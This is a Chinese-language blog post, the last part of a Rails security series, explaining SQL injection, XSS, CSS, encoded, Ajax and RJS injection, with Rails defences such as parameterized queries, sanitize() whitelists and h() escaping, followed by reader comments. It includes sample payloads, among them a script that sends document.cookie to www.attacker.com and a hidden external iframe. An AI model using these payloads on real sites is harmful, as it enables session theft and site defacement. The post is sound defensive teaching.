`
andyhu1007
  • 浏览: 198982 次
  • 性别: Icon_minigender_1
  • 来自: 北京
文章分类
社区版块
存档分类
最新评论

Rails每周一题(八): Security Guide(下)

阅读更多

在上篇和中篇中介绍了对session的攻击和其它一些常见攻击。在下篇中着重介绍注入攻击。

 

注入是通过向网站内引入恶意代码或者一些恶意参数,使这些有害的代码得以在网站的安全环境中运行的攻击方法。最显著的例子是XSS和SQL注入。

 

SQL注入

 

用一个简单例子介绍SQL注入。

 

Project.find(:all, :conditions => "name = '#{params[:name]}'") 

 

如果这时候用户输入 ’ OR 1 --’,则生成的SQL变成:

 

SELECT * FROM projects WHERE name = '' OR 1 --' 

 

注意两个短横杆代表注释,他会忽略所有后面的代码。所以这个SQL会把所有的projects列出来。

 

 

应对策略:

 

Ruby on Rails有一个内建的特殊SQL字符过滤器,它会escape ', ", NULL 和 换行符这些字符。使用Model.find(id)或者Model.find_by_something(something)时Rails会自动应用过滤器。但在使用conditions, connection.execute()或者Model.find_by_sql()时,应手工应用过滤器。

 

在使用conditions时,可以应用以下两种方式来escape特殊SQL字符。

 

Model.find(:first, :conditions => ["login = ? AND password = ?", entered_user_name, entered_password]) 
 
Model.find(:first, :conditions => {:login => entered_user_name, :password => entered_password}) 

 

Cross-Site Scripting (XSS )

 

XSS的攻击一般如下:攻击者注入一些代码,然后web程序保存这段代码,并且会出现在一张会被受害者浏览的网页上。XSS可以偷取cookie,劫持session,重定向受害者的页面到一个假的站点,或者显示一些广告,改变站点的结构以获取一些保密信息或者通过浏览器的安全漏洞安装恶意软件。

 

HTML/JavaScript注入

 

一些简单的例子:

 

<script>alert('Hello');</script>    # 弹出一个确认窗口

<img src=javascript:alert('Hello')>   # 在一些不寻常的地方注入javascript。
<table background="javascript:alert('Hello')">  

 

盗取cookie

 

<script>document.write('<img src="http://www.attacker.com/' + document.cookie + '">');</script> 

 

上面这段代码会向攻击者网站发一个请求,并且附上cookie为参数。

 

然后在www.attacker.com的网站访问日志上可以看到:

 

GET http://www.attacker.com/_app_session=836c1c25278e5b321d6bea4f19cb57e2 

 

这时候,攻击者就知道了被攻击者的session id。

 

Defacement

 

最常见的方式是通过iframe来引入外部站点的代码,比如:

 

<iframe name=”StatPage” src="http://58.xx.xxx.xxx" width=5 height=5 style=”display:none”></iframe> 

 

它会从外部网站中引入任意的html和javascript代码,然后把它嵌入成为该网站的一个部分。

 

 

应对策略:

 

过滤用户输入,并且在显示页面时escape用户输入数据。

 

过滤用户输入建议用一个白名单,只允许用户输入在白名单之内的tag(你永远都不可能知道全部黑名单,这就是使用白名单过滤的理由)。比如:

 

tags = %w(a acronym b strong i em li ul ol h1 h2 h3 h4 h5 h6 blockquote br cite sub sup ins p) 
s = sanitize(user_input, :tags => tags, :attributes => %w(href title)) 

 

第二步,在显示时escape所有的用户输入数据。使用escapeHtml()方法(它的别名是 h()),它会把&, ", <, >这些字符替换成(&amp; , &quot; , &lt ;, and &gt; )。程序员很容易忘记使用h()方法来escape用户输入的数据,所以推荐使用SafeErb 插件,它会提醒你escape这些用户输入字符串。

 

编码注入

 

当编码成一些如UTF8编码时,浏览器可以处理,但web应用程序不能处理。下面就是一个UTF8编码的攻击代码:

 

<IMG SRC=&amp;#106;&amp;#97;&amp;#118;&amp;#97;&amp;#115;&amp;#99;&amp;#114;&amp;#105;&amp;#112;&amp;#116;&amp;#58;&amp;#97; &amp;#108;&amp;#101;&amp;#114;&amp;#116;&amp;#40;&amp;#39;&amp;#88;&amp;#83;&amp;#83;&amp;#39;&amp;#41;> 

 

这段代码会弹出一个弹出窗口。它也可以被sanitize()方法过滤。

 

CSS注入

— CSS注入本质上是JavaScript注入,因为有些浏览器(IE或者有些版本的Safari)允许在CSS里面嵌入JavaScript。

 

所以,攻击者可以这样在CSS里面注入有害的JavaScript:

 

<div style="background:url('javascript:alert(1)')"> 

<div id="mycode" expr="alert('hah!')" style="background:url('javascript:eval(document.all.mycode.expr)')"> 

 

Ajax注入

 

如果不是render view,那么应该在action里面escape输出数据。

 

如果action返回的是string,而不是render一个view。那么应该在action里面escape返回值。否者如果返回值里面包含XSS字符串,那么恶意的代码就会被执行。

 

RJS注入

 

要在RJS里面escape JavaScript -- 使用escape_javascript()方法;并且要escape html,使用h()方法。

 

其他

 

其他还有很多种注入方式,比如文本注入(Textile Injection),HTTP头注入(Header Injection),在此不再赘述。

 

 

 

Rails安全篇( )到此完结。

 

分享到:
评论
4 楼 destinyd 2009-05-24  
其实最主要就是前台用 h
后台数据库 记得不用在语句里面使用#{}就行了
3 楼 fanix 2009-05-22  
下面不是给出了手工应用的方法嘛
2 楼 edokeh 2009-05-14  
<div class="quote_title">andyhu1007 写道</div>
<div class="quote_div">
<p> </p>
<p>但在使用conditions, connection.execute()或者Model.find_by_sql()时,应手工应用过滤器。</p>
<p> </p>
</div>
<p><br>如何手工应用呢?</p>
1 楼 tanbamboo 2009-05-10  
整理的不错,比较完整,很有价值。
以前零散的看过一部分。
谢谢分享!

相关推荐

    Rails的精简版本Rails::API.zip

    Rails::API 是 Rails 的精简版本,针对不需要使用完整 Rails 功能的开发者。 Rails::API 移除了 ActionView 和其他一些渲染功能,不关心Web前端的开发者可更容易、快速地开发应用程序,因此运行速度比正常的 Rails ...

    Rails上的API:使用Rails构建REST APIAPIs on Rails: Building REST APIs with Rails

    在本篇内容中,我们将深入探讨如何利用Ruby on Rails(简称Rails)这一强大的Web应用程序框架来构建可伸缩且易于维护的RESTful API。Rails以其简洁优雅的语法、高效的开发速度以及良好的社区支持而闻名,这使得它...

    Ruby on Rails入门例子

    Ruby on Rails,简称Rails,是一种基于Ruby语言的开源Web应用程序框架,它遵循MVC(Model-View-Controller)架构模式,旨在使Web开发过程更加高效、简洁。本篇将通过一个入门实例,深入探讨Rails的基本概念和核心...

    rails-basic-template:基本 Rails 模板

    Rails 基本模板参考: : Ruby on Rails Gemfile:定义应用程序正在使用的库的文件bundle install:基于Gemfile,安装所有库每次修改 Gemfile 时都应该运行bundle install gem 是 Ruby 的库RubyGems.org 是一个查找和...

    rails-ansible-presentation:有关Rails + Ansible的Deckset演示

    [适合] Rails :red_heart: Ansible [适合] Rails :red_heart: Ansible (有一点帮助) Rails部署 简单吧? 将应用程序放在服务器上。 捆绑宝石。 应用迁移。 重新启动服务。 Easy Rails部署 git push master ...

    rails-style-guide:社区驱动的Ruby on Rails样式指南

    本指南的目的是为Ruby on Rails 4开发提供一组最佳实践和样式说明。 它是对现有社区驱动的的补充。 本Rails风格指南推荐了最佳实践,以便实际的Rails程序员可以编写可由其他实际的Rails程序员维护的代码。 会使用...

    rails_console_toolkit:可配置的 Rails 控制台助手

    RailsConsole 工具包 :wrench: :toolbox: 可配置的 Rails 控制台助手更快地查找记录,添加自定义助手,将您的控制台寿命提高 100%。安装将此行添加到应用程序的 Gemfile 中: gem 'rails_console_toolkit' 然后生成...

    Ruby On Rails 面试系列七,一个面试练习题

    这个面试练习题可能是为了测试应聘者对于Rails应用的构建、自动化任务管理、测试驱动开发(TDD)以及文件组织结构的理解。让我们逐一探讨这些知识点。 首先,`Rakefile`是Ruby中的构建工具,类似于其他语言的...

    Ruby on Rails入门经典代码

    Ruby on Rails,简称Rails,是基于Ruby语言的一个开源Web应用程序框架,它遵循MVC(Model-View-Controller)架构模式,旨在使Web开发过程更加高效、简洁。本压缩包中的"Ruby on Rails入门经典代码"提供了新手学习...

    webpack-rails, 将 web pack与你的Ruby on Rails 应用程序集成.zip

    webpack-rails, 将 web pack与你的Ruby on Rails 应用程序集成 不再维护webpack-rails 不再被维护。 有关详细信息,请参阅 #90. web pack-railsweb pack 为你提供了将 web pack集成到现有的Ruby on Rails 应用程序中...

    rails指南 中文版

    Rails指南中文版是针对Ruby on Rails框架的一份详尽教程,旨在帮助开发者深入理解并熟练掌握这个强大的Web应用开发工具。Ruby on Rails(简称Rails)是一个基于Ruby语言的开源Web应用框架,它遵循MVC(Model-View-...

    rails_email_preview:在Rails中预览和编辑应用程序邮件模板

    安装加 到Gemfile: gem 'rails_email_preview' , '~&gt; 2.2.2' 添加一个初始化程序和路由: $ rails g rails_email_preview:install 在app / mailer_previews /中生成预览类和方法存根$ rails g rails_email_preview:...

    rails-developer-scanning:针对Rails开发人员的自动面试问题

    标题 "rails-developer-scanning" 指向的是一个针对Rails开发者设计的自动化面试工具,旨在帮助面试官或招聘者快速有效地评估应聘者的Rails技能。这个工具名为 "jyaasa_interviewer",通过RubyGem安装,使得面试过程...

    rails-guide-blog:为了刷新我对Ruby on Rails的了解,我正在从https建立这个博客

    自述文件这是刷新经验的一种方法。 《 Rails指南》中的当前步骤: : 与在控制器和视图之间传递数据的典型方式相反(直接使用实例变量),我将使用控制器中定义的属性访问器方法,以减少由于实例变量名称的拼写错误而...

    rails-dom-testing:从ActionView中提取DomAssertions和SelectorAssertions

    Rails :: Dom :: Testing 这个gem负责比较HTML DOM并断言Rails应用程序中存在DOM元素。 assert_dom_equal通过assert_dom_equal和assert_dom_not_equal进行比较。 元素通过assert_dom , assert_dom_encoded , ...

    Rails中应用Ext.tree:以中国的省市地区三级联动选择为例

    当用户选择一个节点时,TreePanel会触发事件,通过Ajax请求获取下一级别的数据,并更新Tree。 最后,文章可能还会讨论一些优化和扩展点,比如使用缓存来提高性能,或者添加搜索和过滤功能,使得用户能够更方便地...

    rails-controller-testing:将`assigns`和`assert_template`带回到您的Rails测试中

    Rails :: Controller :: Testing 这个gem将assigns给控制器测试的内容以及assert_template带回assigns控制器和集成测试的内容。 这些方法已中。 安装 将此行添加到您的应用程序的Gemfile中: gem 'rails-...

    rails-docker-compose:Ruby on Rails的Docker开发环境

    使用Docker开发Ruby on Rails的配置文件 docker-compose up 利润! 你得到什么 一线开发环境的设置和启动: docker-compose up 。 一个易于安装的依赖关系可在新计算机上进行编码:Docker。 (与使用Vagrant时的两...

    Ruby on Rails Guides v2 - Ruby on Rails 4.2.5

    ### Ruby on Rails Guides v2 - Ruby on Rails 4.2.5 #### 一、重要概念及基础假设 - **重要概念**:本指南旨在帮助读者深入理解Ruby on Rails(以下简称Rails)4.2.5版本的核心功能与最佳实践。 - **基础假设**:...

    rails-html-sanitizer

    如果您在非Rails应用程序中需要类似的功能,请考虑直接使用(这是处理内幕消毒的原因)。 安装 将此行添加到您的应用程序的Gemfile中: gem 'rails-html-sanitizer' 然后执行: $ bundle 或将其自己安装为: $...

Global site tag (gtag.js) - Google Analytics